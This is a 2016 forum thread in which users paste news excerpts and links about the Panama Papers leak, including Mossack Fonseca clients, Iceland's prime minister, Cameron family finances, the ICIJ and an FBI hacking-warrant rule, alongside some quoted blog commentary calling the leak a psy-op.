“I do expect to see more scalps, including from Western countries like the U.S.,” Christensen says. “This is likely just the beginning.”

....................................

http://www.politico.eu/blogs/spence-on-media/2016/04/journalist-at-center-of-panama-leaks-nobody-hiding-offshore-is-safe/


Journalist at center of Panama leaks: ‘Nobody hiding offshore is safe’

Süddeutsche Zeitung’s Frederik Obermaier discusses how the newspaper handled the explosive scoop.

By Alex Spence
  | 4/5/16, 12:17 PM CET
  | Updated 4/5/16, 12:39 PM CET
 



.....................................

http://www.bbc.com/news/world-35918844

Panama Papers: Mossack Fonseca leak reveals elite's tax havens

By Richard Bilton
BBC Panorama
4 April 2016
From the section World

..........................................................

http://www.thekomisarscoop.com/tag/offshore/

..............................................................


http://nypost.com/2016/04/04/massive-leak-reveals-how-world-leaders-mobsters-celebrities-hide-their-offshore-wealth/

Massive leak reveals how world leaders, mobsters, celebrities hide their offshore wealth

By Associated Press
April 4, 2016


............................................................


https://www.washingtonpost.com/investigations/associates-of-russias-putin-had-2-billion-in-offshore-accounts-report-says/2016/04/03/25437e1e-f839-11e5-8b23-538270a1ca31_story.html

Putin associates had $2 billion in offshore accounts, report says

______________________________________________________________________________

http://www.huffingtonpost.com/entry/iceland-prime-minister-resignation-panama-papers_us_5703bd21e4b0a06d5806d3ee


Iceland’s Prime Minister Steps Aside After Panama Papers Leaks

? 04/05/2016 09:29 am ET | Updated 3 hours ago

LONDON/REYKJAVIK, April 5 (Reuters) - Iceland’s Prime Minister Sigmundur David Gunnlaugsson is to step down after leaked documents from a Panamanian law firm showed his wife owned an offshore company with big claims on collapsed Icelandic banks, his party said.

Gunnlaugsson became the first prominent casualty from the revelations in the so-called Panama Papers, which have cast light on the financial arrangements of an array of politicians and public figures across the globe and the companies and financial institutions they use.



Title: Re: they know what you are doing
Post by: space otter on April 06, 2016, 07:02:24 am



http://www.msn.com/en-us/news/world/scrutiny-on-officials-worldwide-increases-in-offshore-leaks/ar-BBrqxvh?li=BBnb7Kz

Canadian Press
Jill Lawless And David McHugh2 hrs ago

Scrutiny on officials worldwide increases in offshore leaks
China and Russia, meanwhile, suppressed news of the leaks and rejected any allegations of impropriety by government officials named in the release of more than 11 million financial documents from a Panamanian law firm.

The reports are from a global group of news organizations working with the Washington-based International Consortium of Investigative Journalists. They have been processing records from the Mossack Fonseca law firm that were first leaked to Germany's Sueddeutsche Zeitung newspaper.

One of the firm's co-founders, Ramon Fonseca, said it has filed a complaint with Panamanian prosecutors, alleging that the data was stolen by a hacking attack from somewhere in Europe, but he declined to give any details.



......................................................



http://www.msn.com/en-us/news/us/panama-papers-could-add-to-outrage-in-presidential-race/ar-BBrpsQs?form=prhptp

Associated Press
By WILL WEISSERT, Associated Press7 hrs ago
Panama Papers could add to outrage in presidential race

AUSTIN, Texas — The Panama Papers, which illustrate how a small class of global elites find elaborate ways to shield their wealth from tax collectors, bank regulators and police, offer a glimpse into what's driving the populist outrage that has marked this year's presidential campaign.

The trove of 11.5 million leaked documents have thus far shed light mostly on foreign figures such as the prime minister of Iceland, who resigned Tuesday after the public learned that he used a shell company to shelter large sums of money while his country's economy foundered.



.....................................



http://www.msn.com/en-us/news/world/panama-papers-british-banker-funded-north-korean-arms/ar-BBrqvVf

Newsweek
Mirren Gidda3 hrs ago


Panama Papers: British Banker Funded North Korean Arms

The British banker Nigel Cowie, who lived in North Korea for over two decades, allegedly set up an offshore company used by Pyongyang to expand its nuclear weapons program and sell arms. News of his involvement came to light following Sunday’s leak of the Panama Papers, which have shed light on global offshore finance arrangements.

Cowie moved to North Korea in 1995, rising to become head of Daedong Credit Bank (DCB), the country’s first foreign bank, the Guardian reports. In 2006, he led a group of investors that bought a 70 percent stake in the bank. That same year, Cowie registered an offshoot of DCB in the British Virgin Islands, which law firm Mossack Fonseca— whose clients make up the Panama papers —incorporated.

In 2013, the U.S. imposed sanctions on the company, claiming that it provided financial services to institutions central to North Korea’s arms race, Reuters reports. The offshoot also, the U.S. alleges, carried out international financial transactions with countries trying to avoid North Korea. Mossack Fonseca didn’t notice Cowie’s links to North Korea—despite him giving an address there—until 2010 when it resigned as agent.

Cowie, who sold his stake in the bank in 2011, has said via his lawyer that he was unaware of operating “with any sanctioned organisation or for any sanctioned purpose, during his tenure.”



.............................................................

http://www.huffingtonpost.com/theworldpost/



Title: Re: they know what you are doing
Post by: space otter on April 06, 2016, 05:16:55 pm
fire and pitchforks next..bwhahahahahahahah..run rich folk run





http://www.huffingtonpost.com/entry/panama-papers-syria-assad-rami-makhlouf_us_57052790e4b0a506064dbd8b

The Leaked ‘Panama Papers’ Expose The Dirty Dealings Behind Syria’s War
The Assad cronies who got rich and crushed dissent had no problem moving their money offshore.
04/06/2016 05:27 pm ET



...............................................



http://www.huffingtonpost.com/entry/hsbc-panama-papers-unaoil_us_57056210e4b0537661888908


This Bank Got Caught In The Middle Of Two Massive Corporate Scandals In One Week

It hasn’t been a good few days for HSBC.

? 04/06/2016 05:47 pm ET | Updated 1 hour ago

When leaked documents expose dirty money or hidden wealth, international lender HSBC has an unfortunate knack for being involved.

In the last five days, the bank has been linked to two massive global corruption scandals: first, the Unaoil email leak, which exposed how middlemen paid officials to help huge corporations obtain contracts — and then, the leaked trove of documents known as the Panama Papers, which revealed in astonishing detail the offshore financial holdings of the world’s rich and powerful.

Documents from the Unaoil leak showed that HSBC helped American energy giant KBR and British oil company Petrofac get work on one of the biggest new oil fields in the world by routing their money to the Monaco-based firm Unaoil. The Huffington Post’s Zach Carter reported that the money then made its way to a consultant working for Kazakhstan’s state-owned oil company.


............................


http://www.theguardian.com/news/2016/apr/06/panama-papers-reveal-offshore-secrets-china-red-nobility-big-business

Panama Papers

Panama Papers reveal offshore secrets of China’s red nobility
 
Disclosures show how havens such as British Virgin Islands hide links between big business and relatives of top politicians
The Panama Papers revelations so far
French villa at the heart of a scandal



..............................................

http://www.huffingtonpost.com/entry/uefa-panama-papers-leaks_us_57052535e4b0537661884736?ir=WorldPost&section=us_world



Swiss Police Raid UEFA Headquarters After Panama Papers Leaks

The impact of the leaked documents from a Panamanian law firm is snowballing.

? 04/06/2016 11:14 am ET | Updated 6 hours ago



Title: Re: they know what you are doing
Post by: Sinny on April 06, 2016, 05:34:32 pm
Live running commentary on the Panama Papers and their UK implications:
http://www.theguardian.com/politics/blog/live/2016/apr/06/panama-papers-labour-says-cameron-seen-as-shady-following-unanswered-questions-politics-live (http://www.theguardian.com/politics/blog/live/2016/apr/06/panama-papers-labour-says-cameron-seen-as-shady-following-unanswered-questions-politics-live)

Quote
For more on the Cameron family finances, do read this feature in the Daily Mail by Isabel Oakeshott (co-author with Lord Ashcroft of the partially-damning Cameron biography, Call Me Pig friger Dave).

Here’s an excerpt.

When Ian died, suddenly on holiday in France, his estate was valued at just £2.74million. Crucially, however, his will only detailed his UK assets. In April 2015, a Channel 4 investigation confirmed what many had long suspected: that he had left money squirrelled away in Jersey. Quite how much is unknown, but the ‘grant of probate’ filed in Jersey (The UK's pedophile safe haven) and attached to his will would only have been required for assets of more than £10,000. Cameron’s father also had financial links to Switzerland – raising the possibility that the family retains assets there.

All this would be enough to put Cameron in a league well above the hard-working middle classes. It is Samantha’s money, however, that pushes the couple into the ranks of the super rich.

She, too, has made an art of underplaying it. In her twenties, she would tell people that her father Reggie was a ‘farmer’. In fact, Sir Reginald Sheffield is the eighth holder of a baronetcy that dates back to 1755, and has a property portfolio worth upwards of £20million. It includes 3,000 acres of arable land; a £5million stately home near York; a place in London; and the family seat in Lincolnshire, a Regency mansion called Normanby Hall.



Quote
This is the fourth statement from Number 10 on this issue. To recap, here are the other three.

1 - Monday morning

This is what the prime minister’s spokesman told journalists at the lobby briefing when asked if the Cameron family still had money in Cameron’s late father’s offshore fund.

That is a private matter. I will focus on what the government is doing.

2 - Tuesday afternoon

This is what Cameron himself said at the Q&A in Birmingham when he was asked by Sky if he or his family had derived any benefit from the fund in the past, or would do so in the future.

In terms of my own financial affairs, I own no shares. I have a salary as prime minister and I have some savings, which I get some interest from and I have a house, which we used to live in, which we now let out while we are living in Downing Street and that’s all I have. I have no shares, no offshore trusts, no offshore funds, nothing like that. And, so that, I think, is a very clear description.

3 - Late Tuesday afternoon

This is what a Number 10 spokesperson said later on Tuesday afternoon in response to complaints that Cameron had not fully answered the question.

To be clear, the prime minister, his wife and their children do not benefit from any offshore funds.

The prime minister owns no shares.

As has been previously reported, Mrs Cameron owns a small number of shares connected to her father’s land, which she declares on her tax return.

4 - Wednesday morning

The statement issued this morning was the fourth related to the Panama Papers revelations.

There are no offshore funds/trusts which the prime minister, Mrs Cameron or their children will benefit from in future.


City of London, additional:

[SPOILER]
Quote
Money Laundering and the City of London’s “Crime Scene”: Haven of Tax Havens for the Mega-Wealthy
By Graham Vanbergen

Global Research, April 05, 2016
truepublica.org.uk

First published in March 2016

When it comes to The City of London, the term ‘tax haven’ is not describing all that it should. It doesn’t just shield the mega-wealthy from paying their fair dues it goes further and offers a departure from the rule of law as you would know it. Secrecy is its raison d’être. These secrecy laws do not benefit the local people living in its jurisdiction but only those individuals and corporations with enough money and with something to hide.

The reality is that the City of London caters for those above the law, it operates on the basis of bypassing democratic society as a whole. This has come about over time where an extraordinary ‘gentlemens agreement’ has stood the test of time. The head of state and his/her governments have the need of large loans for wars and the like, the City, in exchange for such commodity has extracted certain privileges the rest of the population do not enjoy. The end result over the centuries is that it now has its own financial jurisdiction to do pretty much as it pleases.

A ‘watchman’ sits at the high table of parliament and is its official lobbyist sitting in seat of power right next to the Speaker of the House who is “charged with maintaining and enhancing the City’s status and ensuring that its established rights are safeguarded.” The job is to maintain order and seek out political dissent against the City.
The City of London has its own private funding and will ‘buy-off’ any attempt to erode its powers; any scrutiny of its financial affairs are put beyond external inspection or audit.

For over a hundred years the Labour party tried in vain to abolish the City of London and its accompanying financial corruption. In 1917, Labour’s new rising star Herbert Morrison, the grandfather of Peter Mandelson made a stand and failed, calling it the “devilry of modern finance.” And although attempt after attempt was made throughout the following decades, it was Margaret Thatcher who succeeded by abolishing its opponent, the Greater London Council in 1986.

Tony Blair went about it another way and offered to reform the City of London in what turned out to be a gift from god. He effectively gave the vote to corporations which swayed the balance of democratic power away from residents and workers. It was received by its opponents as the greatest retrograde step since the peace treaty of 1215, Magna Carta. The City won its rights through debt financing in 1067, when William the Conqueror acceded to it and ever since, governments have allowed the continuation of its ancient rights above all others.

The City effectively now stands as money launderer of the world, the capital of global crime. It is the heart and engine of the offshore haven, with Jersey, Guernsey and the Isle of Man its european collection centres, the caribbean and others hoovering up billions of American dollars from all over the globe. Whilst there are good and legal reasons for offshore accounts, It has a dark and shadowy client list; terrorists, drug barons, arms dealers, politicians, corporations and companies, millionaires, billionaires  – most with something to hide.

The Independent newspaper reported last July that The City of London is the money-laundering centre of the world’s drug trade, according to an internationally acclaimed crime expert. In addition, every notable financial expert now agrees that due to incredibly lax financial laws by the British government, the London property market is built largely on the laundered money of crime from all over the world involving hidden tax havens, most of which are British.

Her Majesty’s British Overseas Territories and Crown Dependencies make up around 25 per cent of the world’s tax havens, which are now blacklisted by the European Commission and now ranked as the most important player in the financial secrecy world.

Tax havens featured on the EC’s blacklist of June last year include Anguilla, Bermuda, the British Virgin Islands, the Cayman Islands, Montserrat and the Turks and Caicos Islands to name just a few and each is inextricably linked to the City of London’s crime offices.

The consequence of its operations is that money laundering is now at such levels and so widespread that the authorities have recently admitted defeat in its battle of attrition by stating openly it has been completely overwhelmed and lost control. Keith Bristow Director-General of the UK’s National Crime Agency said just six months ago that the sheer scale of crime and its subsequent money laundering operations was “a strategic threat” to the country’s economy and reputation and that “high-end money laundering is a major risk”.

In the meantime, the City of London remains politically immune and acts with criminal impunity as it sucks up what is now understood to be trillions in illicit and ill-gotten gains. Bankers and hedge-fund operators dodge the authorities with particular skill sets honed over a millennia, especially HMRC.

It is of no coincidence that this small area of britian, just 1.2 square miles has the highest pay in the land and the third lowest council tax for property anywhere in the United Kingdom. A £20 million mansion costs less than £1,000 a year in council tax.
At the last census, its population stood at just 7,325, its employees stand at 414,600, nearly 40 per cent of them in financial services. Nearly 17,000 businesses are registered there, 2,700 are finance and insurance based and just over 45 per cent are foreign owned entities. HSBC’s organisation is the ninth largest bank in the world following four Chinese and four American banks located down the road in Canary Wharf.

This tiny island haven, with its own borders and police force sits within the Isles of Britain as an international hub, the tax haven of all tax havens. Make no mistake, the banks use offshore business organisations to escape regulation and the grip these organisations have over an ever weakened and corrupt political class is utterly astounding. The Conservative party is literally bankrolled by bankers and hedge funds. Half of the wealthiest hedge fund managers in the land pay millions each year to the Tories – what do they expect back from their investment? Perhaps the hundreds of millions of stamp duty exemptions and taxes hedge funds no longer have to pay. This is just the tip of the iceberg.

This is neoliberalism out of control. The legislators have capitulated to its power. Democracy is systematically deconstructed in favour of the corporations. In the legislators place, people powered organisations emerge such as Tax Justice Network, Democratic Audit, New Economics Foundation to name a few who operate in an arena of social justice in an attempt not to stifle capitalism, but to level the playing field a bit.
Graham Vanbergen

The original source of this article is truepublica.org.uk
Copyright © Graham Vanbergen, truepublica.org.uk, 2016

http://thedailytwigg.blogspot.co.uk/2016/04/panama-papers-dt16-020.html (http://thedailytwigg.blogspot.co.uk/2016/04/panama-papers-dt16-020.html)
[/SPOILER]

Moving money out of the usual offshore secrecy havens and into the U.S. is a brisk new business.
http://www.bloomberg.com/news/articles/2016-01-27/the-world-s-favorite-new-tax-haven-is-the-united-states (http://www.bloomberg.com/news/articles/2016-01-27/the-world-s-favorite-new-tax-haven-is-the-united-states)

FUSION GOES INSIDE THE LAW FIRM THAT SELLS SECRECY TO DRUG DEALERS, DICTATORS AND ALLEGED SEX TRAFFICKERS
http://interactive.fusion.net/dirty-little-secrets/index.html (http://interactive.fusion.net/dirty-little-secrets/index.html)

The Mossack Fonseca web of secret companies
https://seeker401.wordpress.com/2016/04/05/the-mossack-fonseca-web-of-secret-companies/ (https://seeker401.wordpress.com/2016/04/05/the-mossack-fonseca-web-of-secret-companies/)

Mossack Fonseca statement in full as law firm responds to Panama papers report and defends its 'high standards'
http://www.independent.co.uk/news/world/americas/mossack-fonseca-statement-in-full-as-law-firm-responds-to-panama-papers-report-and-defends-its-high-a6968961.html (http://www.independent.co.uk/news/world/americas/mossack-fonseca-statement-in-full-as-law-firm-responds-to-panama-papers-report-and-defends-its-high-a6968961.html)

Quote
Panama Papers Is Media Psy-op In Morphing Info War
Posted on April 5, 2016 by Ann Kreilkamp

When I finally got a chance to look at  the much heralded Panama Papers, I noticed one thing: those targeted out of the tetrabites of downloaded data were, guess who? Putin, Iceland, and other rogue figures and states in the crosshairs of the U.S. State Department.. Whaddayaknow? Plus, not one U.S. citizen was mentioned. In fact, the map shown left the U.S. completely blank.

https://exopermaculture.com/2016/04/05/panama-papers-is-media-psy-op-in-morphing-info-war/ (https://exopermaculture.com/2016/04/05/panama-papers-is-media-psy-op-in-morphing-info-war/)

Quote
What do you expect? The leak is being managed by the grandly but laughably named “International Consortium of Investigative Journalists”, which is funded and organised entirely by the USA’s Center for Public Integrity. Their funders include Ford Foundation, Carnegie Endowment, Rockefeller Family Fund, W K Kellogg Foundation, Open Society Foundation (Soros), among many others. Do not expect a genuine expose of western capitalism. The dirty secrets of western corporations will remain unpublished.Expect hits at Russia, Iran and Syria and some tiny “balancing” western country like Iceland. A superannuated UK peer or two will be sacrificed – someone already with dementia.


http://tapnewswire.com/2016/04/psy-op-elites-financial-secrets-exposed-by-panama-papers/ (http://tapnewswire.com/2016/04/psy-op-elites-financial-secrets-exposed-by-panama-papers/)

http://www.citizenop.com/news/2016/04/05/usual-suspects-panama-papers-soros/ (http://www.citizenop.com/news/2016/04/05/usual-suspects-panama-papers-soros/)

The Corbett Report:
https://www.corbettreport.com/what-i-learned-from-the-panama-papers/ (https://www.corbettreport.com/what-i-learned-from-the-panama-papers/)

Title: Re: they know what you are doing
Post by: space otter on April 06, 2016, 08:54:49 pm


point well taken, Sinny ..who are these guys


 International Consortium of Investigative Journalists.



https://www.publicintegrity.org/icij/about
The International Consortium of Investigative Journalists is an active global network of 160 reporters in more than 60 countries who collaborate on in-depth investigative stories.

Founded in 1997, ICIJ was launched as a project of the Center for Public Integrity to extend the Center’s style of watchdog journalism, focusing on issues that do not stop at national frontiers: cross-border crime, corruption, and the accountability of power. Backed by the Center and its computer-assisted reporting specialists, public records experts, fact-checkers and lawyers, ICIJ reporters and editors provide real-time resources and state-of-the-art tools and techniques to journalists around the world.

Our advisory committee consists of some of the biggest names in investigative journalism: Bill Kovach, Rosental Calmon Alves, Phillip Knightley, Gwen Lister, Goenawan Mohamad, Reginald Chua and Brant Houston.

Why we exist

The need for such an organization has never been greater. Globalization and development have placed extraordinary pressures on human societies, posing unprecedented threats from polluting industries, transnational crime networks, rogue states, and the actions of powerful figures in business and government.

The news media, hobbled by short attention spans and lack of resources, are even less of a match for those who would harm the public interest. Broadcast networks and major newspapers have closed foreign bureaus, cut travel budgets, and disbanded investigative teams. We are losing our eyes and ears around the world precisely when we need them most.

Meanwhile, in many developing countries, investigative reporters are killed, threatened, or imprisoned with alarming regularity. Amazingly unbowed by these life-and-death realities, journalists are in dire need of help from colleagues abroad, many of whom do similar work and can offer support.

What we do

......................................

http://money.cnn.com/2016/04/04/media/panama-papers-icij/


What is ICIJ? A look at the group behind the Panama Papers

by Tom Kludt   @tomkludt
April 4, 2016: 6:36 PM ET 

..............................

https://en.wikipedia.org/wiki/Center_for_Public_Integrity

The Center for Public Integrity (CPI) is an American nonprofit investigative journalism organization whose stated mission is "to reveal abuses of power, corruption and dereliction of duty by powerful public and private institutions in order to cause them to operate with honesty, integrity, accountability and to put the public interest first."[1] With over 50 staff members, CPI is one of the largest nonpartisan, nonprofit investigative centers in America.[2] It won the 2014 Pulitzer Prize for Investigative Reporting.[3]

CPI has been described as an independent,[4][5] nonpartisan[6][7][8] and progressive[9] watchdog group.[6][10] In their February 16 and 17, 1996, reports on then U.S. presidential candidate Patrick J. Buchanan's ties to a white supremacy supporter, one journalist from the Los Angeles Times and the New York Times editorial referred to the CPI as a "liberal group."[11][12]

CPI releases its reports via its web site to media outlets throughout the U.S. and around the globe. In 2004, CPI's The Buying of the President book was on the New York Times bestseller list for three months.[13]

fyi non profit is not the same as not for profit


...........................

https://www.icij.org/

https://www.icij.org/projects

https://www.icij.org/journalists


https://www.youtube.com/user/TheICIJ


.............................
Meet ICIJ — The biggest, toughest investigative unit you may never have heard of

www.poynter.org/...icij-the...investigative.../322503/

Poynter Institute
By Rick Edmonds • February 24, 2015

Feb 24, 2015 - Even for an investigative team with global reach and huge ambitions, the last month has been extraordinary for the International Consortium of ...
Title: Re: they know what you are doing
Post by: Sinny on April 07, 2016, 05:48:09 am

point well taken, Sinny ..who are these guys



fyi non profit is not the same as not for profit


Haha, yea.
Title: Re: they know what you are doing
Post by: space otter on April 29, 2016, 11:22:24 am
http://www.msn.com/en-us/news/us/the-supreme-court-expands-fbi-hacking-powers/ar-BBspTwx?li=BBnb7Kz

The Atlantic
Matt Ford
4 hrs ago

The Supreme Court Expands FBI Hacking Powers

The U.S. Supreme Court approved a new rule Thursday allowing federal judges to issue warrants that target computers outside their jurisdiction, setting the stage for a major expansion of surveillance and hacking powers by federal law-enforcement agencies.

Chief Justice John Roberts submitted the rule to Congress on behalf of the Court as part of the justices’ annual package of changes to the Federal Rules of Criminal Procedure. The rules form the basis of every federal prosecution in the United States.

Under Rule 41’s current incarnation, federal magistrate judges can typically only authorize searches and seizures within their own jurisdiction. Only in a handful of circumstances can judges approve a warrant that reaches beyond their territory—if, for example, they allow federal agents to use a tracking device that could move through multiple judicial districts.

The amendments, drafted by a panel of federal judges at the Justice Department’s request, add another exception. It would allow a magistrate judge to issue a warrant to hack into and seize data stored on a computer, even if that computer’s actual location “has been concealed through technical means.”

In other words, under the new rule, a judge in California could approve a warrant allowing federal agents to lawfully hack into a computer without knowing its true location, whether it be New York, Budapest, or one of Jupiter’s moons.

Justice Department officials defended the change as a necessary update to counter changing technologies. At the same time, tech and privacy experts raised concerns about the amendments’ reach. Oregon Senator Ron Wyden, a Democrat and longtime critic of federal surveillance programs, also criticized the proposed changes as a “sprawling expansion of government surveillance.”

“These amendments will have significant consequences for Americans’ privacy and the scope of the government’s powers to conduct remote surveillance and searches of electronic devices,” he said in a statement. “Under the proposed rules, the government would now be able to obtain a single warrant to access and search thousands or millions of computers at once; and the vast majority of the affected computers would belong to the victims, not the perpetrators, of a cybercrime.”

Wyden also said he planned to introduce legislation to block the new rule. The Supreme Court’s changes automatically go into effect on December 1 unless Congress votes to override them. Such a feat may be difficult this year as normal legislative business slows ahead of November’s elections.

The changes come in the wake of a high-profile showdown over encryption between Apple and the Justice Department in February, which fizzled out after federal investigators told courts they bypassed the iPhone’s security features without the tech giant’s help.
Title: Re: they know what you are doing
Post by: space otter on May 09, 2016, 02:25:48 pm
http://www.huffingtonpost.com/
https://panamapapers.icij.org/20160509-american-fraudsters-offshore.html

By Michael Hudson, Jake Bernstein, Ryan Chittum, Will Fitzgibbon and Catherine Dunn
May 9, 2016


Panama Papers Include Dozens of Americans Tied to Fraud and Financial Misconduct

Mossack Fonseca's files include offshore companies linked to at least 36 Americans accused of serious financial wrongdoing, including fraud and racketeering

Leonard Gotshalk, an Atlanta Falcons football player turned Oregon businessman, had a history of legal issues by the time he went looking to buy an offshore company in 2010. Lawsuits and criminal filings had accused the former NFL offensive lineman of fraud and racketeering.

Mossack Fonseca, a Panama-based law firm that specializes in selling offshore companies, initially told Gotshalk it couldn’t do business with him, because of “negative information” that its compliance unit had found. Gotshalk persuaded the law firm to reconsider, noting in an email that he’d “held offshore accounts in the past in Europe and Bahamas and Belize” without problems.

Three months later – on May 21, 2010 – federal prosecutors in Philadelphia unsealed an indictment charging that Gotshalk was a key player in a scheme that used kickbacks and other tactics to inflate the prices of tech company stocks.

Three days later – on May 24 – Mossack Fonseca recorded a $3,055 wire transfer from Gotshalk, the firm’s internal records show. The money paid for a British Virgin Islands company called Irishmyst Consultants Limited.

Gotshalk isn’t the only American with a suspect past who has used Mossack Fonseca’s services. A review of the law firm’s internal files by the International Consortium of Investigative Journalists and other media partners has identified companies tied to at least 36 Americans accused of fraud or other serious financial misconduct.

ICIJ and its media partners found the details of Gotshalk’s offshore company – and other companies linked to Americans accused of financial mischief – within the Panama Papers, a trove of leaked documents that expose the business practices of Mossack Fonseca, one of the world’s largest marketers of offshore secrecy.
(https://panamapapers.icij.org/assets/articles/0xDataRelease/160509-frankel-01.jpg)

Some have been convicted of fraud or other crimes. They include Martin Frankel, a Connecticut financier who pleaded guilty in 2002 to 20 counts of wire fraud as well as counts of securities fraud and racketeering conspiracy, and Andrew Wiederhorn, an Oregon corporate executive who pleaded guilty to two felonies in a case tied to one of the biggest corporate scandals in Oregon history.

Others have been sued in civil cases launched by securities regulators or private plaintiffs. Among them are six Americans who were accused in a lawsuit in federal court in Washington state of using an offshore company set up through Mossack Fonseca, Dressel Investment Ltd., to run a Ponzi scheme that cost thousands of middle-class Indonesians nearly $100 million.

The lawsuit claims two of the players in the Dressel scheme pitched themselves to investors as financial experts but were in fact “a former appliance salesman for Sears” and “a disbarred attorney who had been reduced to driving a bus for people in Utah to gamble at casinos located on the Nevada border.”

Experts on Ponzi schemes and other kinds of financial chicanery say offshore entities often play a role in fraudulent enterprises. “Fraudsters like offshore because of the the lack of transparency,” said Ellen Zimiles, a former federal prosecutor in New York who now leads Navigant Consulting’s investigations and compliance practice. When offshore structures are put together skillfully, “it takes a lot of time for investigators to get the ultimate beneficiary.”

Mossack Fonseca’s working relationships with dozens of Americans tied to financial misconduct raises questions about how well the firm keeps its commitment to following international standards for preventing money laundering and keeping offshore companies out of the hands of criminal elements.

A Mossack Fonseca spokesperson did not reply to questions for this story. In previous statements, the firm said it has “operated beyond reproach in our home country and in other jurisdictions where we have operations. Our firm has never been accused or charged in connection with criminal wrongdoing.”

The firm said that it works to make sure “that the companies we incorporate are not being used for tax evasion, money-laundering, terrorist finance or other illicit purposes.” It said it turns away clients who have been convicted of crimes or involved in other conduct that raises “red flags.”

“Our due diligence procedures require us to update the information that we have on clients and to periodically verify that no negative results exist in regards to the companies we incorporate and the individuals behind them,” the firm said.

Gotshalk and Frankel could not be reached for comment. Wiederhorn, the Oregon corporate executive, said the offshore company linked to him in Mossack Fonseca’s files was used for routine real estate transactions in the United Kingdom.

High volume

It wouldn’t have taken Mossack Fonseca’s compliance team much Internet surfing to determine that former pro football player Leonard Gotshalk was likely to be a risky client.

The U.S. Securities and Exchange Commission sued Gotshalk in 1994, accusing him and others of providing investors with “false and misleading information” about a company involved in oil and gas investments. In 1995, a federal judge in Washington, D.C., issued a permanent injunction forbidding Gotshalk from violating the antifraud provisions of U.S. securities laws.

In 2004, an Oregon court convicted Gotshalk of felony theft and ordered him to pay restitution and serve 20 days in jail in a case involving allegations he took out large loans with no intention of paying them back. Information about the conviction was available on the Internet in a story posted by the Medford, Oregon, Mail Tribune, which quoted a police detective who said he’d interviewed a dozen people in multiple states who claimed Gotshalk defrauded them.

There’s no indication in the Panama Papers that Mossack Fonseca took notice of Gotshalk’s more recent legal issues, which include the securities fraud indictment in Pennsylvania and a new lawsuit filed by the SEC.
(https://panamapapers.icij.org/assets/articles/0xDataRelease/160509-gotshalk-01.jpg)

A sentencing hearing has been scheduled for Gotshalk in the criminal case for May 19. A judge has ordered a document titled “Plea Document as to Leonard Gotshalk” sealed, but other court records don’t indicate whether he has been convicted in the case. The SEC’s lawsuit has been put on hold until the criminal matter is finished.

Gotshalk’s attorney did not reply to requests for comment about his client’s legal problems or Gotshalk’s purchase of an offshore company through Mossack Fonseca.

It is not illegal to own an offshore company. But financial crime experts say that profit concerns can discourage offshore middlemen from thoroughly checking out their clients, allowing unscrupulous individuals to gain control of offshore companies and use them to open hard-to-trace bank accounts.

An article about banks’ struggles with enforcing anti-money-laundering rules in Navigant Consulting’s Risk & Regulation journal noted that a “widely recurring theme throughout multiple enforcement actions has been the decision of management to place revenue considerations” above money-laundering risks. Once a decision is made to compromise money laundering controls for the sake of revenue, the article said, “the decision becomes easier to repeat and harder to reverse.”

The leaked records in the Panama Papers suggest that Mossack Fonseca’s high-volume business model made it difficult for it to keep track of its clients’ backgrounds and activities. Between 2005 and 2015, Mossack Fonseca incorporated more than 100,000 offshore entities, such as trusts and shell companies. In many instances, the firm offloaded responsibility for checking out potential customers to the banks and outside law firms that fed it business. In its earlier response to questions from ICIJ and other media partners, the firm said it was “legally and practically limited in our ability to regulate the use of companies we incorporate.”

‘Unofficial’ representative

In an interview with the Associated Press, firm co-founder Ramón Fonseca said that “as a policy we prefer not to have American clients.”

The Panama Papers show that at least some of that hesitation involved fear of U.S. law enforcement authorities.

In 2000, the leaked documents indicate, the Federal Bureau of Investigation contacted Michael B. Edge, a U.S.-based representative for the law firm, and threatened to subpoena him in an effort to get information from Mossack Fonseca about an offshore company that had been involved in “an apparent banking fraud.”

Edge, who has acted as the intermediary for hundreds of companies registered by Mossack Fonseca in the Bahamas and other offshore havens, recalled in a 2008 email that the firm decided that due to the threat from the Feds, he should become “an ‘unofficial’ Representative. … Since that time, I have scrupulously avoided receipt of client documents, unless absolutely unavoidable, to my U.S. address; especially since the FBI knows of my existence in a ‘negative’ context.”

He said he continued working “exclusively” with Mossack Fonseca but was careful not to leave “any discernable (direct) link to Mossfon.”

In a 2014 email, Edge explained that Mossack Fonseca had relatively few American clients because it wanted to “avoid further attempts by American authorities to attack the Partnership.” He said that with the consent of one of the firm’s managing partners, Jürgen Mossack, “American clients were purged, no more have been sought, no marketing in the U.S. takes place; and I have conducted Mossfon business in my own name.”

The records show, however, that some customers brought to Mossack Fonseca through Edge have been caught up in fraud cases in the United States.

In 2003, U.S. securities regulators accused one of Edge’s customers , Florida-based Mary Patten, of helping perpetrate a $6-million investment fraud using a company associated with Mossack Fonseca on the island of Jersey. After the allegations against her came to light, Edge told the law firm he had been “duped into believing” that Patten needed help because she was the victim of a “malicious lawsuit.”

In 2005, a federal judge ruled that she’d played a “crucial role” in the scam and ordered her and another defendant to pay more than $5 million in restitution, fines and interest.

Another Edge client was Harvey Milam, a Mississippi businessman and the son of the late J.W. Milam, one of the killers of Emmett Till, whose grisly murder helped spark America’s modern Civil Rights movement. Creditors of a failed insurance company based in the Caribbean island of Nevis claimed that Harvey Milam and other defendants cheated investors by fraudulently transferring the insurer’s assets to other companies. Milam and other defendants settled the case in 2012 without admitting any wrongdoing.

Patten and Milam could not be reached for comment for this story. Milam’s attorney declined comment. Edge did not reply to repeated emails and faxes seeking comment.

‘She lost everything’

Everything seemed in order when Rebel Holiday showed up at Mossack Fonseca’s Panama headquarters in May 2009.

She lived in Virginia and presented herself as a successful entrepreneur with a plan to sell “collectibles” containing small amounts of gold. The company she wanted to register in Panama would be “committed to the democratization of gold and precious metals that have only been available to the affluent in recent years,” according to a business plan found in the law firm’s files.

Mossack Fonseca later claimed it had done an Internet search on Holiday and found nothing negative. The firm’s staffers registered the company, Mises Technologies, and took her to Tower Bank in Panama City to open three accounts.


(https://panamapapers.icij.org/assets/articles/0xDataRelease/160509-holiday-01.jpg)


articles/0xDataRelease/160509-holiday-01.jpg
A screenshot from Rebel Holiday's current personal website, rebelholiday.com.
At the same time, back in Virginia, the state securities regulators were pursuing action against Holiday and multiple companies she had created, accusing her and the companies of misleading investors and selling unlicensed securities. The state’s allegations mostly focused on a company Holiday created to sell fashion consultations over the Internet.

One of the investors who testified against her in the state’s administrative hearings was Amanda Susan Piola. She was 26 and just starting out in the fashion world when she first met Holiday. Piola testified that Holiday complimented her on being more advanced than others her age working in the industry, and offered to let her invest in one of Holiday’s ventures.

Piola testified that she gave Holiday her life savings of $10,000 and that Holiday promised that the money would be returned a year later if Piola needed it back. Holiday never gave her a stock certificate and never gave her the money back, Piola said.

